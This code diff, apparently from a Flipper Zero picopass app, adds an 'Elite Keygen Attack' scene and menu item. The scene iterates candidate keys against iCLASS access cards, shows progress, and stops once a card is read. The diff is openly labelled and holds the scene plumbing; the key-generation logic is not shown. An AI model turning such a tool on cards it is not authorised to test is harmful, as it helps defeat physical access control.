+        if(is_key_provided) {
+            picopass->dict_attack_ctx.current_key++;
+            if(picopass->dict_attack_ctx.current_key %
+                   PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE ==
+               0) {
+                view_dispatcher_send_custom_event(
+                    picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+            }
+        }
+    } else if(
+        event.type == PicopassPollerEventTypeSuccess ||
+        event.type == PicopassPollerEventTypeFail ||
+        event.type == PicopassPollerEventTypeAuthFail) {
+        const PicopassDeviceData* data = picopass_poller_get_data(picopass->poller);
+        memcpy(&picopass->dev->dev_data, data, sizeof(PicopassDeviceData));
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventPollerSuccess);
+    } else if(event.type == PicopassPollerEventTypeCardLost) {
+        picopass->dict_attack_ctx.card_detected = false;
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+    } else if(event.type == PicopassPollerEventTypeCardDetected) {
+        picopass->dict_attack_ctx.card_detected = true;
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+    }
+
+    return command;
+}
+
+static void picopass_scene_elite_keygen_attack_update_view(Picopass* instance) {
+    if(instance->dict_attack_ctx.card_detected) {
+        dict_attack_set_card_detected(instance->dict_attack);
+        dict_attack_set_header(instance->dict_attack, instance->dict_attack_ctx.name);
+        dict_attack_set_total_dict_keys(
+            instance->dict_attack, PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT);
+        dict_attack_set_current_dict_key(
+            instance->dict_attack, instance->dict_attack_ctx.current_key);
+    } else {
+        dict_attack_set_card_removed(instance->dict_attack);
+    }
+}
+
+static void picopass_scene_elite_keygen_attack_callback(void* context) {
+    Picopass* instance = context;
+
+    view_dispatcher_send_custom_event(
+        instance->view_dispatcher, PicopassCustomEventDictAttackSkip);
+}
+
+void picopass_scene_elite_keygen_attack_on_enter(void* context) {
+    Picopass* picopass = context;
+    dolphin_deed(DolphinDeedNfcRead);
+
+    // Setup dict attack context
+    uint32_t state = PicopassSceneEliteKeygenAttack;
+
+    picopass->dict = keys_dict_alloc(
+        PICOPASS_ICLASS_STANDARD_DICT_FLIPPER_NAME, KeysDictModeOpenExisting, PICOPASS_KEY_LEN);
+
+    dict_attack_reset(picopass->dict_attack);
+    picopass->dict_attack_ctx.card_detected = false;
+    picopass->dict_attack_ctx.total_keys = PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT;
+    picopass->dict_attack_ctx.current_key = 0;
+    picopass->dict_attack_ctx.name = "Elite Keygen Attack";
+    scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneEliteKeygenAttack, state);
+
+    // Setup view
+    picopass_scene_elite_keygen_attack_update_view(picopass);
+    dict_attack_set_callback(
+        picopass->dict_attack, picopass_scene_elite_keygen_attack_callback, picopass);
+
+    // Start worker
+    picopass->poller = picopass_poller_alloc(picopass->nfc);
+    picopass_poller_start(
+        picopass->poller, picopass_elite_keygen_attack_worker_callback, picopass);
+
+    view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewDictAttack);
+    picopass_blink_start(picopass);
+}
+
+bool picopass_scene_elite_keygen_attack_on_event(void* context, SceneManagerEvent event) {
+    Picopass* picopass = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == PicopassCustomEventPollerSuccess) {
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess);
+            consumed = true;
+        } else if(event.event == PicopassCustomEventDictAttackUpdateView) {
+            picopass_scene_elite_keygen_attack_update_view(picopass);
+            consumed = true;
+        } else if(event.event == PicopassCustomEventDictAttackSkip) {
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess);
+            consumed = true;
+        }
+    }
+    return consumed;
+}
+
+void picopass_scene_elite_keygen_attack_on_exit(void* context) {
+    Picopass* picopass = context;
+
+    if(picopass->dict) {
+        keys_dict_free(picopass->dict);
+        picopass->dict = NULL;
+    }
+    picopass->dict_attack_ctx.current_key = 0;
+    picopass->dict_attack_ctx.total_keys = 0;
+    picopass_elite_reset();
+
+    picopass_poller_stop(picopass->poller);
+    picopass_poller_free(picopass->poller);
+
+    // Clear view
+    popup_reset(picopass->popup);
+
+    picopass_blink_stop(picopass);
+}

+ 12 - 0
picopass/scenes/picopass_scene_start.c

@@ -4,6 +4,7 @@ enum SubmenuIndex {
     SubmenuIndexSaved,
     SubmenuIndexLoclass,
     SubmenuIndexAcknowledgements,
+    SubmenuIndexKeygenAttack,
 };
 
 void picopass_scene_start_submenu_callback(void* context, uint32_t index) {
@@ -26,6 +27,12 @@ void picopass_scene_start_on_enter(void* context) {
         SubmenuIndexAcknowledgements,
         picopass_scene_start_submenu_callback,
         picopass);
+    submenu_add_item(
+        submenu,
+        "Elite Keygen Attack",
+        SubmenuIndexKeygenAttack,
+        picopass_scene_start_submenu_callback,
+        picopass);
 
     submenu_set_selected_item(
         submenu, scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneStart));
@@ -60,6 +67,11 @@ bool picopass_scene_start_on_event(void* context, SceneManagerEvent event) {
                 picopass->scene_manager, PicopassSceneStart, PicopassSceneAcknowledgements);
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneAcknowledgements);
             consumed = true;
+        } else if(event.event == SubmenuIndexKeygenAttack) {
+            scene_manager_set_scene_state(
+                picopass->scene_manager, PicopassSceneStart, SubmenuIndexKeygenAttack);
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneEliteKeygenAttack);
+            consumed = true;
         }
     }